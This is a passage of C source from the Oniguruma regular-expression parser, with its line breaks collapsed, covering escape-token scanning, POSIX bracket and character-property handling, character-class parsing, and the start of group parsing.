tok->u.backref.num = 1; tok->u.backref.ref1 = num; tok->u.backref.by_name = 0; #ifdef USE_BACKREF_WITH_LEVEL tok->u.backref.exist_level = 0; #endif break; } skip_backref: if (c == '8' || c == '9') { /* normal char */ p = prev; PINC; break; } p = prev; /* fall through */ case '0': if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_OCTAL3)) { prev = p; num = scan_unsigned_octal_number(&p, end, (c == '0' ? 2:3), enc); if (num < 0 || num >= 256) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_RAW_BYTE; tok->base = 8; tok->u.c = num; } else if (c != '0') { PINC; } break; #ifdef USE_NAMED_GROUP case 'k': if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_K_NAMED_BACKREF)) { PFETCH(c); if (c == '<' || c == '\'') { UChar* name_end; int* backs; int back_num; prev = p; #ifdef USE_BACKREF_WITH_LEVEL name_end = NULL_UCHARP; /* no need. escape gcc warning. */ r = fetch_name_with_level((OnigCodePoint )c, &p, end, &name_end, env, &back_num, &tok->u.backref.level); if (r == 1) tok->u.backref.exist_level = 1; else tok->u.backref.exist_level = 0; #else r = fetch_name(&p, end, &name_end, env, &back_num, 1); #endif if (r < 0) return r; if (back_num != 0) { if (back_num < 0) { back_num = BACKREF_REL_TO_ABS(back_num, env); if (back_num <= 0) return ONIGERR_INVALID_BACKREF; } if (IS_SYNTAX_BV(syn, ONIG_SYN_STRICT_CHECK_BACKREF)) { if (back_num > env->num_mem || IS_NULL(SCANENV_MEM_NODES(env)[back_num])) return ONIGERR_INVALID_BACKREF; } tok->type = TK_BACKREF; tok->u.backref.by_name = 0; tok->u.backref.num = 1; tok->u.backref.ref1 = back_num; } else { num = onig_name_to_group_numbers(env->reg, prev, name_end, &backs); if (num <= 0) { onig_scan_env_set_error_string(env, ONIGERR_UNDEFINED_NAME_REFERENCE, prev, name_end); return ONIGERR_UNDEFINED_NAME_REFERENCE; } if (IS_SYNTAX_BV(syn, ONIG_SYN_STRICT_CHECK_BACKREF)) { int i; for (i = 0; i < num; i++) { if (backs[i] > env->num_mem || IS_NULL(SCANENV_MEM_NODES(env)[backs[i]])) return ONIGERR_INVALID_BACKREF; } } tok->type = TK_BACKREF; tok->u.backref.by_name = 1; if (num == 1) { tok->u.backref.num = 1; tok->u.backref.ref1 = backs[0]; } else { tok->u.backref.num = num; tok->u.backref.refs = backs; } } } else PUNFETCH; } break; #endif #ifdef USE_SUBEXP_CALL case 'g': if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_G_SUBEXP_CALL)) { PFETCH(c); if (c == '<' || c == '\'') { int gnum; UChar* name_end; prev = p; r = fetch_name((OnigCodePoint )c, &p, end, &name_end, env, &gnum, 1); if (r < 0) return r; tok->type = TK_CALL; tok->u.call.name = prev; tok->u.call.name_end = name_end; tok->u.call.gnum = gnum; } else PUNFETCH; } break; #endif case 'Q': if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_CAPITAL_Q_QUOTE)) { tok->type = TK_QUOTE_OPEN; } break; case 'p': case 'P': if (!PEND && PPEEK_IS('{') && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CHAR_PROPERTY)) { PINC; tok->type = TK_CHAR_PROPERTY; tok->u.prop.not = (c == 'P' ? 1 : 0); if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CIRCUMFLEX_NOT)) { PFETCH(c); if (c == '^') { tok->u.prop.not = (tok->u.prop.not == 0 ? 1 : 0); } else PUNFETCH; } } break; default: { OnigCodePoint c2; PUNFETCH; num = fetch_escaped_value(&p, end, env, &c2); if (num < 0) return num; /* set_raw: */ if (tok->u.c != c2) { tok->type = TK_CODE_POINT; tok->u.code = c2; } else { /* string */ p = tok->backp + enclen(enc, tok->backp); } } break; } } else { tok->u.c = c; tok->escaped = 0; #ifdef USE_VARIABLE_META_CHARS if ((c != ONIG_INEFFECTIVE_META_CHAR) && IS_SYNTAX_OP(syn, ONIG_SYN_OP_VARIABLE_META_CHARACTERS)) { if (c == MC_ANYCHAR(syn)) goto any_char; else if (c == MC_ANYTIME(syn)) goto anytime; else if (c == MC_ZERO_OR_ONE_TIME(syn)) goto zero_or_one_time; else if (c == MC_ONE_OR_MORE_TIME(syn)) goto one_or_more_time; else if (c == MC_ANYCHAR_ANYTIME(syn)) { tok->type = TK_ANYCHAR_ANYTIME; goto out; } } #endif switch (c) { case '.': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_DOT_ANYCHAR)) break; #ifdef USE_VARIABLE_META_CHARS any_char: #endif tok->type = TK_ANYCHAR; break; case '*': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ASTERISK_ZERO_INF)) break; #ifdef USE_VARIABLE_META_CHARS anytime: #endif tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 0; tok->u.repeat.upper = REPEAT_INFINITE; goto greedy_check; break; case '+': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_PLUS_ONE_INF)) break; #ifdef USE_VARIABLE_META_CHARS one_or_more_time: #endif tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 1; tok->u.repeat.upper = REPEAT_INFINITE; goto greedy_check; break; case '?': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_QMARK_ZERO_ONE)) break; #ifdef USE_VARIABLE_META_CHARS zero_or_one_time: #endif tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 0; tok->u.repeat.upper = 1; goto greedy_check; break; case '{': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_BRACE_INTERVAL)) break; r = fetch_range_quantifier(&p, end, tok, env); if (r < 0) return r; /* error */ if (r == 0) goto greedy_check; else if (r == 2) { /* {n} */ if (IS_SYNTAX_BV(syn, ONIG_SYN_FIXED_INTERVAL_IS_GREEDY_ONLY)) goto possessive_check; goto greedy_check; } /* r == 1 : normal char */ break; case '|': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_VBAR_ALT)) break; tok->type = TK_ALT; break; case '(': if (!PEND && PPEEK_IS('?') && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_QMARK_GROUP_EFFECT)) { PINC; if (!PEND && PPEEK_IS('#')) { PFETCH(c); while (1) { if (PEND) return ONIGERR_END_PATTERN_IN_GROUP; PFETCH(c); if (c == MC_ESC(syn)) { if (!PEND) PFETCH(c); } else { if (c == ')') break; } } goto start; } PUNFETCH; } if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LPAREN_SUBEXP)) break; tok->type = TK_SUBEXP_OPEN; break; case ')': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LPAREN_SUBEXP)) break; tok->type = TK_SUBEXP_CLOSE; break; case '^': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LINE_ANCHOR)) break; tok->type = TK_ANCHOR; tok->u.subtype = (IS_SINGLELINE(env->option) ? ANCHOR_BEGIN_BUF : ANCHOR_BEGIN_LINE); break; case '$': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LINE_ANCHOR)) break; tok->type = TK_ANCHOR; tok->u.subtype = (IS_SINGLELINE(env->option) ? ANCHOR_SEMI_END_BUF : ANCHOR_END_LINE); break; case '[': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_BRACKET_CC)) break; tok->type = TK_CC_OPEN; break; case ']': if (*src > env->pattern) /* /].../ is allowed. */ CLOSE_BRACKET_WITHOUT_ESC_WARN(env, (UChar* )"]"); break; case '#': if (IS_EXTEND(env->option)) { while (!PEND) { PFETCH(c); if (ONIGENC_IS_CODE_NEWLINE(enc, c)) break; } goto start; break; } break; case ' ': case '\t': case '\n': case '\r': case '\f': if (IS_EXTEND(env->option)) goto start; break; default: /* string */ break; } } #ifdef USE_VARIABLE_META_CHARS out: #endif *src = p; return tok->type; } static int add_ctype_to_cc_by_range(CClassNode* cc, int ctype ARG_UNUSED, int not, OnigEncoding enc ARG_UNUSED, OnigCodePoint sb_out, const OnigCodePoint mbr[]) { int i, r; OnigCodePoint j; int n = ONIGENC_CODE_RANGE_NUM(mbr); if (not == 0) { for (i = 0; i < n; i++) { for (j = ONIGENC_CODE_RANGE_FROM(mbr, i); j <= ONIGENC_CODE_RANGE_TO(mbr, i); j++) { if (j >= sb_out) { if (j > ONIGENC_CODE_RANGE_FROM(mbr, i)) { r = add_code_range_to_buf(&(cc->mbuf), j, ONIGENC_CODE_RANGE_TO(mbr, i)); if (r != 0) return r; i++; } goto sb_end; } BITSET_SET_BIT(cc->bs, j); } } sb_end: for ( ; i < n; i++) { r = add_code_range_to_buf(&(cc->mbuf), ONIGENC_CODE_RANGE_FROM(mbr, i), ONIGENC_CODE_RANGE_TO(mbr, i)); if (r != 0) return r; } } else { OnigCodePoint prev = 0; for (i = 0; i < n; i++) { for (j = prev; j < ONIGENC_CODE_RANGE_FROM(mbr, i); j++) { if (j >= sb_out) { goto sb_end2; } BITSET_SET_BIT(cc->bs, j); } prev = ONIGENC_CODE_RANGE_TO(mbr, i) + 1; } for (j = prev; j < sb_out; j++) { BITSET_SET_BIT(cc->bs, j); } sb_end2: prev = sb_out; for (i = 0; i < n; i++) { if (prev < ONIGENC_CODE_RANGE_FROM(mbr, i)) { r = add_code_range_to_buf(&(cc->mbuf), prev, ONIGENC_CODE_RANGE_FROM(mbr, i) - 1); if (r != 0) return r; } prev = ONIGENC_CODE_RANGE_TO(mbr, i) + 1; } if (prev < 0x7fffffff) { r = add_code_range_to_buf(&(cc->mbuf), prev, 0x7fffffff); if (r != 0) return r; } } return 0; } static int add_ctype_to_cc(CClassNode* cc, int ctype, int not, ScanEnv* env) { int c, r; const OnigCodePoint *ranges; OnigCodePoint sb_out; OnigEncoding enc = env->enc; r = ONIGENC_GET_CTYPE_CODE_RANGE(enc, ctype, &sb_out, &ranges); if (r == 0) { return add_ctype_to_cc_by_range(cc, ctype, not, env->enc, sb_out, ranges); } else if (r != ONIG_NO_SUPPORT_CONFIG) { return r; } r = 0; switch (ctype) { case ONIGENC_CTYPE_ALPHA: case ONIGENC_CTYPE_BLANK: case ONIGENC_CTYPE_CNTRL: case ONIGENC_CTYPE_DIGIT: case ONIGENC_CTYPE_LOWER: case ONIGENC_CTYPE_PUNCT: case ONIGENC_CTYPE_SPACE: case ONIGENC_CTYPE_UPPER: case ONIGENC_CTYPE_XDIGIT: case ONIGENC_CTYPE_ASCII: case ONIGENC_CTYPE_ALNUM: if (not != 0) { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (! ONIGENC_IS_CODE_CTYPE(enc, (OnigCodePoint )c, ctype)) BITSET_SET_BIT(cc->bs, c); } ADD_ALL_MULTI_BYTE_RANGE(enc, cc->mbuf); } else { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (ONIGENC_IS_CODE_CTYPE(enc, (OnigCodePoint )c, ctype)) BITSET_SET_BIT(cc->bs, c); } } break; case ONIGENC_CTYPE_GRAPH: case ONIGENC_CTYPE_PRINT: if (not != 0) { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (! ONIGENC_IS_CODE_CTYPE(enc, (OnigCodePoint )c, ctype)) BITSET_SET_BIT(cc->bs, c); } } else { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (ONIGENC_IS_CODE_CTYPE(enc, (OnigCodePoint )c, ctype)) BITSET_SET_BIT(cc->bs, c); } ADD_ALL_MULTI_BYTE_RANGE(enc, cc->mbuf); } break; case ONIGENC_CTYPE_WORD: if (not == 0) { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (IS_CODE_SB_WORD(enc, c)) BITSET_SET_BIT(cc->bs, c); } ADD_ALL_MULTI_BYTE_RANGE(enc, cc->mbuf); } else { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if ((ONIGENC_CODE_TO_MBCLEN(enc, c) > 0) /* check invalid code point */ && ! ONIGENC_IS_CODE_WORD(enc, c)) BITSET_SET_BIT(cc->bs, c); } } break; default: return ONIGERR_PARSER_BUG; break; } return r; } static int parse_posix_bracket(CClassNode* cc, UChar** src, UChar* end, ScanEnv* env) { #define POSIX_BRACKET_CHECK_LIMIT_LENGTH 20 #define POSIX_BRACKET_NAME_MIN_LEN 4 static PosixBracketEntryType PBS[] = { { (UChar* )"alnum", ONIGENC_CTYPE_ALNUM, 5 }, { (UChar* )"alpha", ONIGENC_CTYPE_ALPHA, 5 }, { (UChar* )"blank", ONIGENC_CTYPE_BLANK, 5 }, { (UChar* )"cntrl", ONIGENC_CTYPE_CNTRL, 5 }, { (UChar* )"digit", ONIGENC_CTYPE_DIGIT, 5 }, { (UChar* )"graph", ONIGENC_CTYPE_GRAPH, 5 }, { (UChar* )"lower", ONIGENC_CTYPE_LOWER, 5 }, { (UChar* )"print", ONIGENC_CTYPE_PRINT, 5 }, { (UChar* )"punct", ONIGENC_CTYPE_PUNCT, 5 }, { (UChar* )"space", ONIGENC_CTYPE_SPACE, 5 }, { (UChar* )"upper", ONIGENC_CTYPE_UPPER, 5 }, { (UChar* )"xdigit", ONIGENC_CTYPE_XDIGIT, 6 }, { (UChar* )"ascii", ONIGENC_CTYPE_ASCII, 5 }, { (UChar* )"word", ONIGENC_CTYPE_WORD, 4 }, { (UChar* )NULL, -1, 0 } }; PosixBracketEntryType *pb; int not, i, r; OnigCodePoint c; OnigEncoding enc = env->enc; UChar *p = *src; if (PPEEK_IS('^')) { PINC_S; not = 1; } else not = 0; if (onigenc_strlen(enc, p, end) < POSIX_BRACKET_NAME_MIN_LEN + 3) goto not_posix_bracket; for (pb = PBS; IS_NOT_NULL(pb->name); pb++) { if (onigenc_with_ascii_strncmp(enc, p, end, pb->name, pb->len) == 0) { p = (UChar* )onigenc_step(enc, p, end, pb->len); if (onigenc_with_ascii_strncmp(enc, p, end, (UChar* )":]", 2) != 0) return ONIGERR_INVALID_POSIX_BRACKET_TYPE; r = add_ctype_to_cc(cc, pb->ctype, not, env); if (r != 0) return r; PINC_S; PINC_S; *src = p; return 0; } } not_posix_bracket: c = 0; i = 0; while (!PEND && ((c = PPEEK) != ':') && c != ']') { PINC_S; if (++i > POSIX_BRACKET_CHECK_LIMIT_LENGTH) break; } if (c == ':' && ! PEND) { PINC_S; if (! PEND) { PFETCH_S(c); if (c == ']') return ONIGERR_INVALID_POSIX_BRACKET_TYPE; } } return 1; /* 1: is not POSIX bracket, but no error. */ } static int fetch_char_property_to_ctype(UChar** src, UChar* end, ScanEnv* env) { int r; OnigCodePoint c; OnigEncoding enc = env->enc; UChar *prev, *start, *p = *src; r = 0; start = prev = p; while (!PEND) { prev = p; PFETCH_S(c); if (c == '}') { r = ONIGENC_PROPERTY_NAME_TO_CTYPE(enc, start, prev); if (r < 0) break; *src = p; return r; } else if (c == '(' || c == ')' || c == '{' || c == '|') { r = ONIGERR_INVALID_CHAR_PROPERTY_NAME; break; } } onig_scan_env_set_error_string(env, r, *src, prev); return r; } static int parse_char_property(Node** np, OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int r, ctype; CClassNode* cc; ctype = fetch_char_property_to_ctype(src, end, env); if (ctype < 0) return ctype; *np = node_new_cclass(); CHECK_NULL_RETURN_MEMERR(*np); cc = NCCLASS(*np); r = add_ctype_to_cc(cc, ctype, 0, env); if (r != 0) return r; if (tok->u.prop.not != 0) NCCLASS_SET_NOT(cc); return 0; } enum CCSTATE { CCS_VALUE, CCS_RANGE, CCS_COMPLETE, CCS_START }; enum CCVALTYPE { CCV_SB, CCV_CODE_POINT, CCV_CLASS }; static int next_state_class(CClassNode* cc, OnigCodePoint* vs, enum CCVALTYPE* type, enum CCSTATE* state, ScanEnv* env) { int r; if (*state == CCS_RANGE) return ONIGERR_CHAR_CLASS_VALUE_AT_END_OF_RANGE; if (*state == CCS_VALUE && *type != CCV_CLASS) { if (*type == CCV_SB) BITSET_SET_BIT(cc->bs, (int )(*vs)); else if (*type == CCV_CODE_POINT) { r = add_code_range(&(cc->mbuf), env, *vs, *vs); if (r < 0) return r; } } *state = CCS_VALUE; *type = CCV_CLASS; return 0; } static int next_state_val(CClassNode* cc, OnigCodePoint *vs, OnigCodePoint v, int* vs_israw, int v_israw, enum CCVALTYPE intype, enum CCVALTYPE* type, enum CCSTATE* state, ScanEnv* env) { int r; switch (*state) { case CCS_VALUE: if (*type == CCV_SB) { if (*vs > 0xff) return ONIGERR_INVALID_CODE_POINT_VALUE; BITSET_SET_BIT(cc->bs, (int )(*vs)); } else if (*type == CCV_CODE_POINT) { r = add_code_range(&(cc->mbuf), env, *vs, *vs); if (r < 0) return r; } break; case CCS_RANGE: if (intype == *type) { if (intype == CCV_SB) { if (*vs > 0xff || v > 0xff) return ONIGERR_INVALID_CODE_POINT_VALUE; if (*vs > v) { if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_EMPTY_RANGE_IN_CC)) goto ccs_range_end; else return ONIGERR_EMPTY_RANGE_IN_CHAR_CLASS; } bitset_set_range(cc->bs, (int )*vs, (int )v); } else { r = add_code_range(&(cc->mbuf), env, *vs, v); if (r < 0) return r; } } else { #if 0 if (intype == CCV_CODE_POINT && *type == CCV_SB) { #endif if (*vs > v) { if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_EMPTY_RANGE_IN_CC)) goto ccs_range_end; else return ONIGERR_EMPTY_RANGE_IN_CHAR_CLASS; } bitset_set_range(cc->bs, (int )*vs, (int )(v < 0xff ? v : 0xff)); r = add_code_range(&(cc->mbuf), env, (OnigCodePoint )*vs, v); if (r < 0) return r; #if 0 } else return ONIGERR_MISMATCH_CODE_LENGTH_IN_CLASS_RANGE; #endif } ccs_range_end: *state = CCS_COMPLETE; break; case CCS_COMPLETE: case CCS_START: *state = CCS_VALUE; break; default: break; } *vs_israw = v_israw; *vs = v; *type = intype; return 0; } static int code_exist_check(OnigCodePoint c, UChar* from, UChar* end, int ignore_escaped, ScanEnv* env) { int in_esc; OnigCodePoint code; OnigEncoding enc = env->enc; UChar* p = from; in_esc = 0; while (! PEND) { if (ignore_escaped && in_esc) { in_esc = 0; } else { PFETCH_S(code); if (code == c) return 1; if (code == MC_ESC(env->syntax)) in_esc = 1; } } return 0; } static int parse_char_class(Node** np, OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int r, neg, len, fetched, and_start; OnigCodePoint v, vs; UChar *p; Node* node; CClassNode *cc, *prev_cc; CClassNode work_cc; enum CCSTATE state; enum CCVALTYPE val_type, in_type; int val_israw, in_israw; *np = NULL_NODE; env->parse_depth++; if (env->parse_depth > ParseDepthLimit) return ONIGERR_PARSE_DEPTH_LIMIT_OVER; prev_cc = (CClassNode* )NULL; r = fetch_token_in_cc(tok, src, end, env); if (r == TK_CHAR && tok->u.c == '^' && tok->escaped == 0) { neg = 1; r = fetch_token_in_cc(tok, src, end, env); } else { neg = 0; } if (r < 0) return r; if (r == TK_CC_CLOSE) { if (! code_exist_check((OnigCodePoint )']', *src, env->pattern_end, 1, env)) return ONIGERR_EMPTY_CHAR_CLASS; CC_ESC_WARN(env, (UChar* )"]"); r = tok->type = TK_CHAR; /* allow []...] */ } *np = node = node_new_cclass(); CHECK_NULL_RETURN_MEMERR(node); cc = NCCLASS(node); and_start = 0; state = CCS_START; p = *src; while (r != TK_CC_CLOSE) { fetched = 0; switch (r) { case TK_CHAR: any_char_in: len = ONIGENC_CODE_TO_MBCLEN(env->enc, tok->u.c); if (len > 1) { in_type = CCV_CODE_POINT; } else if (len < 0) { r = len; goto err; } else { /* sb_char: */ in_type = CCV_SB; } v = (OnigCodePoint )tok->u.c; in_israw = 0; goto val_entry2; break; case TK_RAW_BYTE: /* tok->base != 0 : octal or hexadec. */ if (! ONIGENC_IS_SINGLEBYTE(env->enc) && tok->base != 0) { UChar buf[ONIGENC_CODE_TO_MBC_MAXLEN]; UChar* bufe = buf + ONIGENC_CODE_TO_MBC_MAXLEN; UChar* psave = p; int i, base = tok->base; buf[0] = tok->u.c; for (i = 1; i < ONIGENC_MBC_MAXLEN(env->enc); i++) { r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; if (r != TK_RAW_BYTE || tok->base != base) { fetched = 1; break; } buf[i] = tok->u.c; } if (i < ONIGENC_MBC_MINLEN(env->enc)) { r = ONIGERR_TOO_SHORT_MULTI_BYTE_STRING; goto err; } len = enclen(env->enc, buf); if (i < len) { r = ONIGERR_TOO_SHORT_MULTI_BYTE_STRING; goto err; } else if (i > len) { /* fetch back */ p = psave; for (i = 1; i < len; i++) { r = fetch_token_in_cc(tok, &p, end, env); } fetched = 0; } if (i == 1) { v = (OnigCodePoint )buf[0]; goto raw_single; } else { v = ONIGENC_MBC_TO_CODE(env->enc, buf, bufe); in_type = CCV_CODE_POINT; } } else { v = (OnigCodePoint )tok->u.c; raw_single: in_type = CCV_SB; } in_israw = 1; goto val_entry2; break; case TK_CODE_POINT: v = tok->u.code; in_israw = 1; val_entry: len = ONIGENC_CODE_TO_MBCLEN(env->enc, v); if (len < 0) { r = len; goto err; } in_type = (len == 1 ? CCV_SB : CCV_CODE_POINT); val_entry2: r = next_state_val(cc, &vs, v, &val_israw, in_israw, in_type, &val_type, &state, env); if (r != 0) goto err; break; case TK_POSIX_BRACKET_OPEN: r = parse_posix_bracket(cc, &p, end, env); if (r < 0) goto err; if (r == 1) { /* is not POSIX bracket */ CC_ESC_WARN(env, (UChar* )"["); p = tok->backp; v = (OnigCodePoint )tok->u.c; in_israw = 0; goto val_entry; } goto next_class; break; case TK_CHAR_TYPE: r = add_ctype_to_cc(cc, tok->u.prop.ctype, tok->u.prop.not, env); if (r != 0) return r; next_class: r = next_state_class(cc, &vs, &val_type, &state, env); if (r != 0) goto err; break; case TK_CHAR_PROPERTY: { int ctype; ctype = fetch_char_property_to_ctype(&p, end, env); if (ctype < 0) return ctype; r = add_ctype_to_cc(cc, ctype, tok->u.prop.not, env); if (r != 0) return r; goto next_class; } break; case TK_CC_RANGE: if (state == CCS_VALUE) { r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; fetched = 1; if (r == TK_CC_CLOSE) { /* allow [x-] */ range_end_val: v = (OnigCodePoint )'-'; in_israw = 0; goto val_entry; } else if (r == TK_CC_AND) { CC_ESC_WARN(env, (UChar* )"-"); goto range_end_val; } state = CCS_RANGE; } else if (state == CCS_START) { /* [-xa] is allowed */ v = (OnigCodePoint )tok->u.c; in_israw = 0; r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; fetched = 1; /* [--x] or [a&&-x] is warned. */ if (r == TK_CC_RANGE || and_start != 0) CC_ESC_WARN(env, (UChar* )"-"); goto val_entry; } else if (state == CCS_RANGE) { CC_ESC_WARN(env, (UChar* )"-"); goto any_char_in; /* [!--x] is allowed */ } else { /* CCS_COMPLETE */ r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; fetched = 1; if (r == TK_CC_CLOSE) goto range_end_val; /* allow [a-b-] */ else if (r == TK_CC_AND) { CC_ESC_WARN(env, (UChar* )"-"); goto range_end_val; } if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_DOUBLE_RANGE_OP_IN_CC)) { CC_ESC_WARN(env, (UChar* )"-"); goto range_end_val; /* [0-9-a] is allowed as [0-9\-a] */ } r = ONIGERR_UNMATCHED_RANGE_SPECIFIER_IN_CHAR_CLASS; goto err; } break; case TK_CC_CC_OPEN: /* [ */ { Node *anode; CClassNode* acc; r = parse_char_class(&anode, tok, &p, end, env); if (r != 0) { onig_node_free(anode); goto cc_open_err; } acc = NCCLASS(anode); r = or_cclass(cc, acc, env->enc); onig_node_free(anode); cc_open_err: if (r != 0) goto err; } break; case TK_CC_AND: /* && */ { if (state == CCS_VALUE) { r = next_state_val(cc, &vs, 0, &val_israw, 0, val_type, &val_type, &state, env); if (r != 0) goto err; } /* initialize local variables */ and_start = 1; state = CCS_START; if (IS_NOT_NULL(prev_cc)) { r = and_cclass(prev_cc, cc, env->enc); if (r != 0) goto err; bbuf_free(cc->mbuf); } else { prev_cc = cc; cc = &work_cc; } initialize_cclass(cc); } break; case TK_EOT: r = ONIGERR_PREMATURE_END_OF_CHAR_CLASS; goto err; break; default: r = ONIGERR_PARSER_BUG; goto err; break; } if (fetched) r = tok->type; else { r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; } } if (state == CCS_VALUE) { r = next_state_val(cc, &vs, 0, &val_israw, 0, val_type, &val_type, &state, env); if (r != 0) goto err; } if (IS_NOT_NULL(prev_cc)) { r = and_cclass(prev_cc, cc, env->enc); if (r != 0) goto err; bbuf_free(cc->mbuf); cc = prev_cc; } if (neg != 0) NCCLASS_SET_NOT(cc); else NCCLASS_CLEAR_NOT(cc); if (IS_NCCLASS_NOT(cc) && IS_SYNTAX_BV(env->syntax, ONIG_SYN_NOT_NEWLINE_IN_NEGATIVE_CC)) { int is_empty; is_empty = (IS_NULL(cc->mbuf) ? 1 : 0); if (is_empty != 0) BITSET_IS_EMPTY(cc->bs, is_empty); if (is_empty == 0) { #define NEWLINE_CODE 0x0a if (ONIGENC_IS_CODE_NEWLINE(env->enc, NEWLINE_CODE)) { if (ONIGENC_CODE_TO_MBCLEN(env->enc, NEWLINE_CODE) == 1) BITSET_SET_BIT(cc->bs, NEWLINE_CODE); else add_code_range(&(cc->mbuf), env, NEWLINE_CODE, NEWLINE_CODE); } } } *src = p; env->parse_depth--; return 0; err: if (cc != NCCLASS(*np)) bbuf_free(cc->mbuf); return r; } static int parse_subexp(Node** top, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env); static int parse_enclose(Node** np, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env) { int r, num; Node *target; OnigOptionType option; OnigCodePoint c; OnigEncoding enc = env->enc; #ifdef USE_NAMED_GROUP int list_capture; #endif UChar* p = *src; PFETCH_READY; *np = NULL; if (PEND) return ONIGERR_END_PATTERN_WITH_UNMATCHED_PARENTHESIS; option = env->option; if (PPEEK_IS('?') && IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_GROUP_EFFECT)) { PINC; if (PEND) return ONIGERR_END_PATTERN_IN_GROUP; PFETCH(c); switch (c) { case ':': /* (?:...) grouping only */ group: r = fetch_token(tok, &p, end, env); if (r < 0) return r; r = parse_subexp(np, tok, term, &p, end, env); if (r < 0) return r; *src = p; return 1; /* group */ break; case '=': *np = onig_node_new_anchor(ANCHOR_PREC_READ); break; case '!': /* preceding read */ *np = onig_node_new_anchor(ANCHOR_PREC_READ_NOT); break; case '>': /* (?>...) stop backtrack */ *np = node_new_enclose(ENCLOSE_STOP_BACKTRACK); break; #ifdef USE_NAMED_GROUP case '\'': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_LT_NAMED_GROUP)) { goto named_group1; } else return ONIGERR_UNDEFINED_GROUP_OPTION; break; #endif case '<': /* look behind (?<=...), (?<!...) */ if (PEND) return ONIGERR_END_PATTERN_WITH_UNMATCHED_PARENTHESIS; PFETCH(c); if (c == '=') *np = onig_node_new_anchor(ANCHOR_LOOK_BEHIND); else if (c == '!') *np = onig_node_new_anchor(ANCHOR_LOOK_BEHIND_NOT); #ifdef USE_NAMED_GROUP else { if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_LT_NAMED_GROUP)) { UChar *name; UChar *name_end; PUNFETCH; c = '<'; named_group1: list_capture = 0; named_group2: name = p; r = fetch_name((OnigCodePoint )c, &p, end, &name_end, env, &num, 0); if (r < 0) return r; num = scan_env_add_mem_entry(env); if (num < 0) return num; if (list_capture != 0 && num >= (int )BIT_STATUS_BITS_NUM) return ONIGERR_GROUP_NUMBER_OVER_FOR_CAPTURE_HISTORY; r = name_add(env->reg, name, name_end, num, env); if (r != 0) return r; *np = node_new_enclose_memory(env->option, 1); CHECK_NULL_RETURN_MEMERR(*np); NENCLOSE(*np)->regnum = num; if (list_capture != 0) BIT_STATUS_ON_AT_SIMPLE(env->capture_history, num); env->num_named++; } else { return ONIGERR_UNDEFINED_GROUP_OPTION; } } #else else { return ONIGERR_UNDEFINED_GROUP_OPTION; } #endif break; case '@': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_ATMARK_CAPTURE_HISTORY)) { #ifdef USE_NAMED_GROUP if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_LT_NAMED_GROUP)) { PFETCH(c); if (c == '<' || c == '\'') { list_capture = 1; goto named_group2; /* (?@<name>...) */ } PUNFETCH; } #endif *np = node_new_enclose_memory(env->option, 0); CHECK_NULL_RETURN_MEMERR(*np); num = scan_env_add_mem_entry(env); if (num < 0) { return num; } else if (num >= (int )BIT_STATUS_BITS_NUM) { return ONIGERR_GROUP_NUMBER_OVER_FOR_CAPTURE_HISTORY; } NENCLOSE(*np)->regnum = num; BIT_STATUS_ON_AT_SIMPLE(env->capture_history, num); } else { return ONIGERR_UNDEFINED_GROUP_OPTION; } break; #ifdef USE_POSIXLINE_OPTION case 'p': #endif case '-': case 'i': case 'm': case 's': case 'x': { int neg = 0; while (1) { switch (c) { case ':': case ')': break; case '-': neg = 1; break; case 'x': ONOFF(option, ONIG_OPTION_EXTEND, neg); break; case 'i': ONOFF(option, ONIG_OPTION_IGNORECASE, neg); break; case 's': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_OPTION_PERL)) { ONOFF(option, ONIG_OPTION_MULTILINE, neg); } else return ONIGERR_UNDEFINED_GROUP_OPTION; break; case 'm': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_OPTION_PERL)) { ONOFF(option, ONIG_OPTION_SINGLELINE, (neg == 0 ? 1 : 0)); } else if 